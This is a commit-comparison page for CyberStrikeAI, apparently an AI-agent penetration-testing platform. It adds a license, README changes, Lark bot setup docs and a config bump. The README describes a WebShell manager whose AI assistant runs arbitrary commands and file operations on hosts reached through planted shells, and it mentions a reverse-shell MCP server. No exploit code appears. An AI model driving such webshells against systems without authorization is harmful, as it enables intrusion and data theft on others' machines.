Compare commits

...

37 Commits

Author SHA1 Message Date
公明 2ab8d4c731 Update config.yaml 2026-03-20 01:43:12 +08:00
公明 5884902090 Add files via upload 2026-03-20 01:42:07 +08:00
公明 c92ce0379e Add files via upload 2026-03-20 01:30:09 +08:00
公明 5fe5f5b71f Add files via upload 2026-03-20 01:03:40 +08:00
公明 36099a60d9 Update style.css 2026-03-19 11:15:11 +08:00
公明 c6adcd19dd Update pent_claude_agent_config.yaml 2026-03-17 23:49:22 +08:00
公明 52e84b0ef5 Delete mcp-servers/pent_claude_agent/.claude/1 2026-03-17 23:48:45 +08:00
公明 1d505b7b10 Add files via upload 2026-03-17 23:48:19 +08:00
公明 c9f7e8f53f Create 1 2026-03-17 23:48:00 +08:00
公明 3b7d5357b8 Update pent_claude_agent_config.yaml 2026-03-17 23:14:49 +08:00
公明 ca01cad2c8 Add files via upload 2026-03-17 23:13:11 +08:00
公明 0e83c20e47 Update config.yaml 2026-03-17 20:25:27 +08:00
公明 359ac45ecf Add files via upload 2026-03-17 20:23:17 +08:00
公明 df14545582 Add files via upload 2026-03-17 20:17:27 +08:00
公明 147e5e4529 Add files via upload 2026-03-17 01:16:08 +08:00
公明 c47b8ff33a Add files via upload 2026-03-17 00:14:13 +08:00
公明 cd5190362f Add files via upload 2026-03-16 23:48:12 +08:00
公明 797b10b176 Add files via upload 2026-03-14 02:32:23 +08:00
公明 0809be60fa Update config.yaml 2026-03-14 02:16:45 +08:00
公明 62a83f6271 Add files via upload 2026-03-14 01:37:26 +08:00
公明 b4da3e5d33 Add files via upload 2026-03-14 00:55:07 +08:00
公明 4b1023ff6c Add files via upload 2026-03-14 00:52:29 +08:00
公明 82ca5225ae Add files via upload 2026-03-14 00:50:10 +08:00
公明 5e8fef0ad4 Add files via upload 2026-03-14 00:49:25 +08:00
公明 226f9b79e2 Add files via upload 2026-03-13 23:17:13 +08:00
公明 7222466cff Add files via upload 2026-03-13 22:57:30 +08:00
公明 1630c2b2c4 Add files via upload 2026-03-13 22:34:42 +08:00
公明 f7ffa1d5d3 Add files via upload 2026-03-13 20:24:15 +08:00
公明 e4cd68df41 Update config.yaml 2026-03-13 20:22:52 +08:00
公明 d24f797552 Add files via upload 2026-03-13 20:20:14 +08:00
公明 0a89ac31c3 Add files via upload 2026-03-13 20:10:28 +08:00
公明 379fc8767d Add files via upload 2026-03-13 20:09:15 +08:00
公明 8bdab678fa Add files via upload 2026-03-13 20:08:09 +08:00
公明 cc555af8dd Add files via upload 2026-03-13 00:20:27 +08:00
公明 643e0e7adf Add files via upload 2026-03-13 00:11:48 +08:00
公明 eb27eaff7d Update nmap.yaml 2026-03-12 22:54:31 +08:00
公明 fc542a48f3 Add files via upload 2026-03-12 21:26:23 +08:00
42 changed files with 7403 additions and 284 deletions
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2025 Ed1s0nZ
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+40
View File
@@ -7,6 +7,8 @@
[中文](README_CN.md) | [English](README.md)
**Community**: [Join us on Discord](https://discord.gg/8PjVCMu8Zw)
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
@@ -65,6 +67,14 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
<img src="./images/role-management.png" alt="Role Management" width="100%">
</td>
</tr>
<tr>
<td width="33.33%" align="center">
<strong>WebShell Management</strong><br/>
<img src="./images/webshell-management.png" alt="WebShell Management" width="100%">
</td>
<td width="33.33%" align="center"></td>
<td width="33.33%" align="center"></td>
</tr>
</table>
</div>
@@ -84,6 +94,7 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
- 🎯 Skills system: 20+ predefined security testing skills (SQL injection, XSS, API security, etc.) that can be attached to roles or called on-demand by AI agents
- 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
- 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
## Tool Overview
@@ -161,6 +172,17 @@ go build -o cyberstrike-ai cmd/server/main.go
**Note:** The Python virtual environment (`venv/`) is automatically created and managed by `run.sh`. Tools that require Python (like `api-fuzzer`, `http-framework-test`, etc.) will automatically use this environment.
### Version Update (No Breaking Changes)
**CyberStrikeAI version update (when there are no compatibility changes):**
1. Download the latest source code.
2. Copy the old project's `/data` folder and `config.yaml` file into the new source directory.
3. Restart with: `chmod +x run.sh && ./run.sh`
⚠️ **Note:** This procedure only applies to version updates without compatibility or breaking changes. If a release includes compatibility changes, this method may not apply.
**Examples:** No breaking changes — e.g. v1.3.1 → v1.3.2; with breaking changes — e.g. v1.3.1 → v1.4.0. The project follows [Semantic Versioning](https://semver.org/) (SemVer): when only the patch version (third number) changes, this upgrade path is usually safe; when the minor or major version changes, config, data, or APIs may have changed — check the release notes before using this method.
### Core Workflows
- **Conversation testing** Natural-language prompts trigger toolchains with streaming SSE output.
- **Role-based testing** Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
@@ -169,6 +191,7 @@ go build -o cyberstrike-ai cmd/server/main.go
- **Conversation groups** Organize conversations into groups, pin important groups, rename or delete groups via context menu.
- **Vulnerability management** Create, update, and track vulnerabilities discovered during testing. Filter by severity (critical/high/medium/low/info), status (open/confirmed/fixed/false_positive), and conversation. View statistics and export findings.
- **Batch task management** Create task queues with multiple tasks, add or edit tasks before execution, and run them sequentially. Each task executes as a separate conversation, with status tracking (pending/running/completed/failed/cancelled) and full execution history.
- **WebShell management** Add and manage WebShell connections (PHP/ASP/ASPX/JSP or custom). Use the virtual terminal to run commands, the file manager to list, read, edit, upload, and delete files, and the AI assistant tab to drive scripted tests with per-connection conversation history. Connections are stored in SQLite; supports GET/POST and configurable command parameter (e.g. IceSword/AntSword style).
- **Settings** Tweak provider keys, MCP enablement, tool toggles, and agent iteration limits.
### Built-in Safeguards
@@ -235,10 +258,19 @@ go build -o cyberstrike-ai cmd/server/main.go
- The web UI renders the chain as an interactive graph with severity scoring and step replay.
- Export the chain or raw findings to external reporting pipelines.
### WebShell Management
- **Connections** From the Web UI, go to **WebShell Management** to add, edit, or delete WebShell connections. Each connection stores: Shell URL, password/key, shell type (PHP, ASP, ASPX, JSP, Custom), request method (GET/POST), command parameter name (default `cmd`), and an optional remark; all records persist in SQLite and are compatible with common clients such as IceSword and AntSword.
- **Virtual terminal** After selecting a connection, use the **Virtual terminal** tab to run arbitrary commands with history and quick commands (whoami/id/ls/pwd etc.). Output is streamed in the browser, and Ctrl+L clears the screen.
- **File manager** Use the **File manager** tab to list directories, read or edit files, delete files, create folders/files, upload files (including chunked uploads for large files), rename paths, and download selected files. Path navigation supports breadcrumbs, parent directory jumps, and name filtering.
- **AI assistant** Use the **AI assistant** tab to chat with an agent that understands the current WebShell connection, automatically runs tools and shell commands, and maintains per-connection conversation history with a sidebar of previous sessions.
- **Connectivity test** Use **Test connectivity** to verify that the shell URL, password, and command parameter are correct before running commands (sends a lightweight `echo 1` check).
- **Persistence** All WebShell connections and AI conversations are stored in SQLite (same database as conversations), so they persist across restarts.
### MCP Everywhere
- **Web mode** ships with HTTP MCP server automatically consumed by the UI.
- **MCP stdio mode** `go run cmd/mcp-stdio/main.go` exposes the agent to Cursor/CLI.
- **External MCP federation** register third-party MCP servers (HTTP, stdio, or SSE) from the UI, toggle them per engagement, and monitor their health and call volume in real time.
- **Optional MCP servers** the [`mcp-servers/`](mcp-servers/README.md) directory provides standalone MCPs (e.g. reverse shell). They speak standard MCP over stdio and work with CyberStrikeAI (Settings → External MCP), Cursor, VS Code, and other MCP clients.
#### MCP stdio quick start
1. **Build the binary** (run from the project root):
@@ -389,6 +421,7 @@ A test SSE MCP server is available at `cmd/test-sse-mcp-server/` for validation
- **Role APIs** manage security testing roles via `/api/roles` endpoints: `GET /api/roles` (list all roles), `GET /api/roles/:name` (get role), `POST /api/roles` (create role), `PUT /api/roles/:name` (update role), `DELETE /api/roles/:name` (delete role). Roles are stored as YAML files in the `roles/` directory and support hot-reload.
- **Vulnerability APIs** manage vulnerabilities via `/api/vulnerabilities` endpoints: `GET /api/vulnerabilities` (list with filters), `POST /api/vulnerabilities` (create), `GET /api/vulnerabilities/:id` (get), `PUT /api/vulnerabilities/:id` (update), `DELETE /api/vulnerabilities/:id` (delete), `GET /api/vulnerabilities/stats` (statistics).
- **Batch Task APIs** manage batch task queues via `/api/batch-tasks` endpoints: `POST /api/batch-tasks` (create queue), `GET /api/batch-tasks` (list queues), `GET /api/batch-tasks/:queueId` (get queue), `POST /api/batch-tasks/:queueId/start` (start execution), `POST /api/batch-tasks/:queueId/cancel` (cancel), `DELETE /api/batch-tasks/:queueId` (delete), `POST /api/batch-tasks/:queueId/tasks` (add task), `PUT /api/batch-tasks/:queueId/tasks/:taskId` (update task), `DELETE /api/batch-tasks/:queueId/tasks/:taskId` (delete task). Tasks execute sequentially, each creating a separate conversation with full status tracking.
- **WebShell APIs** manage WebShell connections and execute commands via `/api/webshell/connections` (GET list, POST create, PUT update, DELETE delete) and `/api/webshell/exec` (command execution), `/api/webshell/fileop` (list/read/write/delete files).
- **Task control** pause/resume/stop long scans, re-run steps with new params, or stream transcripts.
- **Audit & security** rotate passwords via `/api/auth/change-password`, enforce short-lived sessions, and restrict MCP ports at the network layer when exposing the service.
@@ -532,6 +565,13 @@ CyberStrikeAI has joined [404Starlink](https://github.com/knownsec/404StarLink)
![Stargazers over time](https://starchart.cc/Ed1s0nZ/CyberStrikeAI.svg)
---
## License
CyberStrikeAI is licensed under the Apache License 2.0.
See the [LICENSE](LICENSE) file for details.
---
## ⚠️ Disclaimer
+39
View File
@@ -6,6 +6,8 @@
[中文](README_CN.md) | [English](README.md)
**社区**[加入 Discord](https://discord.gg/8PjVCMu8Zw)
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能,以及完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
@@ -64,6 +66,14 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
<img src="./images/role-management.png" alt="角色管理" width="100%">
</td>
</tr>
<tr>
<td width="33.33%" align="center">
<strong>WebShell 管理</strong><br/>
<img src="./images/webshell-management.png" alt="WebShell 管理" width="100%">
</td>
<td width="33.33%" align="center"></td>
<td width="33.33%" align="center"></td>
</tr>
</table>
</div>
@@ -83,6 +93,7 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
- 🎯 Skills 技能系统:20+ 预设安全测试技能(SQL 注入、XSS、API 安全等),可附加到角色或由 AI 按需调用
- 📱 **机器人**:支持钉钉、飞书长连接,在手机端与 CyberStrikeAI 对话(配置与命令详见 [机器人使用说明](docs/robot.md)
- 🐚 **WebShell 管理**:添加与管理 WebShell 连接(兼容冰蝎/蚁剑等),通过虚拟终端执行命令、内置文件管理进行文件操作,并提供按连接维度保存历史的 AI 助手标签页;支持 PHP/ASP/ASPX/JSP 及自定义类型,可配置请求方法与命令参数。
## 工具概览
@@ -160,6 +171,16 @@ go build -o cyberstrike-ai cmd/server/main.go
**说明:** Python 虚拟环境(`venv/`)由 `run.sh` 自动创建和管理。需要 Python 的工具(如 `api-fuzzer`、`http-framework-test` 等)会自动使用该环境。
### CyberStrikeAI 版本更新(无兼容性问题)
1. 下载最新源代码;
2. 将旧项目的 `/data` 文件夹、`config.yaml` 文件复制至新版源代码目录;
3. 执行命令重启:`chmod +x run.sh && ./run.sh`
⚠️ **注意:** 仅适用于无兼容性变更的版本更新。若版本存在兼容性调整,此方法不适用。
**举例:** 无兼容性变更如 v1.3.1 → v1.3.2;有兼容性变更如 v1.3.1 → v1.4.0。项目采用语义化版本(SemVer):仅第三位(补丁号)变更时通常可安全按上述步骤升级;次版本号或主版本号变更时可能涉及配置、数据或接口调整,需查阅 release notes 再决定是否适用本方法。
### 常用流程
- **对话测试**:自然语言触发多步工具编排,SSE 实时输出。
- **角色化测试**:从预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试等)中选择,自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词,并可限制可用工具列表,实现聚焦的测试场景。
@@ -168,6 +189,7 @@ go build -o cyberstrike-ai cmd/server/main.go
- **对话分组**:将对话按项目或主题组织到不同分组,支持置顶、重命名、删除等操作,所有数据持久化存储。
- **漏洞管理**:在测试过程中创建、更新和跟踪发现的漏洞。支持按严重程度(严重/高/中/低/信息)、状态(待确认/已确认/已修复/误报)和对话进行过滤,查看统计信息并导出发现。
- **批量任务管理**:创建任务队列,批量添加多个任务,执行前可编辑或删除任务,然后依次顺序执行。每个任务会作为独立对话执行,支持完整的状态跟踪(待执行/执行中/已完成/失败/已取消)和执行历史。
- **WebShell 管理**:添加并管理 WebShell 连接(PHP/ASP/ASPX/JSP 或自定义类型)。使用虚拟终端执行命令(带命令历史与快捷命令),使用文件管理浏览、读取、编辑、上传与删除目标文件,并支持按路径导航和名称过滤。连接信息持久化存储于 SQLite,支持 GET/POST 及可配置命令参数(兼容冰蝎/蚁剑等)。
- **可视化配置**:在界面中切换模型、启停工具、设置迭代次数等。
### 默认安全措施
@@ -233,10 +255,19 @@ go build -o cyberstrike-ai cmd/server/main.go
- 智能体解析每次对话,抽取目标、工具、漏洞与因果关系。
- Web 端可交互式查看链路节点、风险级别及时间轴,支持导出报告。
### WebShell 管理
- **连接管理**:在 Web 界面进入 **WebShell 管理**,可添加、编辑或删除 WebShell 连接。每条连接包含:Shell 地址、密码/密钥、Shell 类型(PHP/ASP/ASPX/JSP/自定义)、请求方式(GET/POST)、命令参数名(默认 `cmd`)、备注等信息,并持久化存储在 SQLite,兼容冰蝎、蚁剑等常见客户端。
- **虚拟终端**:选择连接后,在 **虚拟终端** 标签页中执行任意命令,支持命令历史与常用快捷命令(whoami/id/ls/pwd 等),输出在浏览器中实时显示,支持 Ctrl+L 清屏。
- **文件管理**:在 **文件管理** 标签页中可列出目录、读取/编辑文件、删除文件、新建文件/目录、上传文件(大文件分片上传)、重命名路径以及下载勾选文件,并支持面包屑导航与名称过滤。
- **AI 助手**:在 **AI 助手** 标签页中与智能体对话,由系统自动结合当前 WebShell 连接执行工具与命令,侧边栏展示该连接下的所有历史会话,支持多轮追踪与查看。
- **连通性测试**:使用 **测试连通性** 可在执行命令前通过一次 `echo 1` 调用校验 Shell 地址、密码与命令参数是否正确。
- **持久化**:所有 WebShell 连接与相关 AI 会话均保存在 SQLite(与对话共用数据库),服务重启后仍可继续使用。
### MCP 全场景
- **Web 模式**:自带 HTTP MCP 服务供前端调用。
- **MCP stdio 模式**`go run cmd/mcp-stdio/main.go` 可接入 Cursor/命令行。
- **外部 MCP 联邦**:在设置中注册第三方 MCPHTTP/stdio/SSE),按需启停并实时查看调用统计与健康度。
- **可选 MCP 服务**:项目中的 [`mcp-servers/`](mcp-servers/README_CN.md) 目录提供独立 MCP(如反向 Shell),采用标准 MCP stdio,可在 CyberStrikeAI(设置 → 外部 MCP)、Cursor、VS Code 等任意支持 MCP 的客户端中使用。
#### MCP stdio 快速集成
1. **编译可执行文件**(在项目根目录执行):
@@ -388,6 +419,7 @@ CyberStrikeAI 支持通过三种传输模式连接外部 MCP 服务器:
- **角色管理 API**:通过 `/api/roles` 端点管理安全测试角色:`GET /api/roles`(列表)、`GET /api/roles/:name`(获取角色)、`POST /api/roles`(创建角色)、`PUT /api/roles/:name`(更新角色)、`DELETE /api/roles/:name`(删除角色)。角色以 YAML 文件形式存储在 `roles/` 目录,支持热加载。
- **漏洞管理 API**:通过 `/api/vulnerabilities` 端点管理漏洞:`GET /api/vulnerabilities`(列表,支持过滤)、`POST /api/vulnerabilities`(创建)、`GET /api/vulnerabilities/:id`(获取)、`PUT /api/vulnerabilities/:id`(更新)、`DELETE /api/vulnerabilities/:id`(删除)、`GET /api/vulnerabilities/stats`(统计)。
- **批量任务 API**:通过 `/api/batch-tasks` 端点管理批量任务队列:`POST /api/batch-tasks`(创建队列)、`GET /api/batch-tasks`(列表)、`GET /api/batch-tasks/:queueId`(获取队列)、`POST /api/batch-tasks/:queueId/start`(开始执行)、`POST /api/batch-tasks/:queueId/cancel`(取消)、`DELETE /api/batch-tasks/:queueId`(删除队列)、`POST /api/batch-tasks/:queueId/tasks`(添加任务)、`PUT /api/batch-tasks/:queueId/tasks/:taskId`(更新任务)、`DELETE /api/batch-tasks/:queueId/tasks/:taskId`(删除任务)。任务依次顺序执行,每个任务创建独立对话,支持完整状态跟踪。
- **WebShell API**:通过 `/api/webshell/connections`GET 列表、POST 创建、PUT 更新、DELETE 删除)及 `/api/webshell/exec`(执行命令)、`/api/webshell/fileop`(列出/读取/写入/删除文件)管理 WebShell 连接与执行操作。
- **任务控制**:支持暂停/终止长任务、修改参数后重跑、流式获取日志。
- **安全管理**`/api/auth/change-password` 可即时轮换口令;建议在暴露 MCP 端口时配合网络层 ACL。
@@ -531,6 +563,13 @@ CyberStrikeAI 现已加入 [404星链计划](https://github.com/knownsec/404Star
---
## 许可证
CyberStrikeAI 采用 **Apache License 2.0** 开源许可。
完整条款见仓库根目录 [LICENSE](LICENSE) 文件。
---
## ⚠️ 免责声明
**本工具仅供教育和授权测试使用!**
+4 -3
View File
@@ -10,7 +10,7 @@
# ============================================
# 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.3.24"
version: "v1.3.28"
# 服务器配置
server:
@@ -59,8 +59,9 @@ fofa:
agent:
max_iterations: 120 # 最大迭代次数,AI 代理最多执行多少轮工具调用
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
tool_timeout_minutes: 30 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
# 数据库配置
database:
path: data/conversations.db # SQLite 数据库文件路径,用于存储对话历史和消息
+19 -1
View File
@@ -98,7 +98,25 @@
| App Secret | 飞书开放平台应用凭证中的 App Secret |
| Verify Token | 事件订阅用(可选) |
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存并**重启应用**
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → **在「事件订阅」中添加事件**(见下)→ 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存。
**重要:事件订阅**
飞书长连接只有在开放平台订阅了「接收消息」事件后才会收到用户消息。请在该应用的 **事件订阅** 页面点击「添加事件」,在「消息与群组」下勾选 **接收消息(im.message.receive_v1** 或同类事件;若未添加,连接会建立成功但收不到任何消息,表现为发消息后本地无日志、机器人无回复。
**飞书权限配置(必读)**
**权限管理** 中需开通以下权限(与开放平台列表中的名称、标识一致);修改后需在 **版本管理与发布** 中发布新版本才生效。
| 权限名称(开放平台中显示) | 权限标识 | 说明 |
|----------------------------|----------|------|
| 获取与发送单聊、群组消息 | `im:message` | 收发消息的基础权限,**必须开通**。 |
| 接收群聊中@机器人消息事件 | `im:message.group_at_msg:readonly` | 群聊中 @ 机器人时收消息,需开通。 |
| 读取用户发给机器人的单聊消息 | `im:message.p2p_msg:readonly` | 单聊收消息,**必须开通**,否则私聊发消息没反应。 |
| 获取单聊、群组消息 | `im:message:readonly` | 读取消息内容,**必须开通**。 |
**事件订阅**(与权限分开配置):在 **事件订阅** 中添加 **接收消息(im.message.receive_v1**,否则长连接收不到消息推送。
- **单聊**:在飞书里打开与机器人的私聊窗口,直接发「帮助」或任意文字即可,无需 @。
- **群聊**:在群里只有 **@ 机器人** 后发送的内容才会被机器人收到并回复。
---
+19 -1
View File
@@ -97,7 +97,25 @@ If you only have a **custom bot** Webhook URL (`oapi.dingtalk.com/robot/send?acc
| App Secret | From Lark open platform app credentials |
| Verify Token | Optional; for event subscription |
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Add **event subscription** and **permissions** below → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
**Event subscription**
The long-lived connection only receives message events if you subscribe to them. In the apps **Events and callbacks** (事件与回调) → **Event subscription** (事件订阅), add the event **Receive message** (**im.message.receive_v1**). Without it, the connection succeeds but no message events are delivered (no logs when users send messages).
**Lark permissions (required)**
In **Permission management** (权限管理), enable the following (names and identifiers match the Lark console). After changes, **publish a new version** in Version management and release so they take effect.
| Permission name (as shown in console) | Identifier | Notes |
|--------------------------------------|------------|-------|
| 获取与发送单聊、群组消息 (Get and send direct & group messages) | `im:message` | Base permission for sending and receiving; **required**. |
| 接收群聊中@机器人消息事件 (Receive @bot messages in group chat) | `im:message.group_at_msg:readonly` | Required for group chat when users @ the bot. |
| 读取用户发给机器人的单聊消息 (Read direct messages from users to bot) | `im:message.p2p_msg:readonly` | **Required** for 1:1 chat; otherwise no response in private chat. |
| 获取单聊、群组消息 (Get direct & group messages) | `im:message:readonly` | **Required** to read message content. |
**Event subscription** (configured separately): In **Event subscription** (事件订阅), add **Receive message** (**im.message.receive_v1**). Without it, the long-lived connection will not receive message events.
- **1:1 chat**: Open the bots private chat in Lark and send e.g. “帮助” or “help”; no @ needed.
- **Group chat**: Only messages that **@ the bot** are received and replied to.
---
Binary file not shown.

After

Width:  |  Height:  |  Size: 451 KiB

+323 -38
View File
@@ -3,6 +3,7 @@ package agent
import (
"context"
"encoding/json"
"errors"
"fmt"
"net"
"net/http"
@@ -14,6 +15,7 @@ import (
"cyberstrike-ai/internal/mcp"
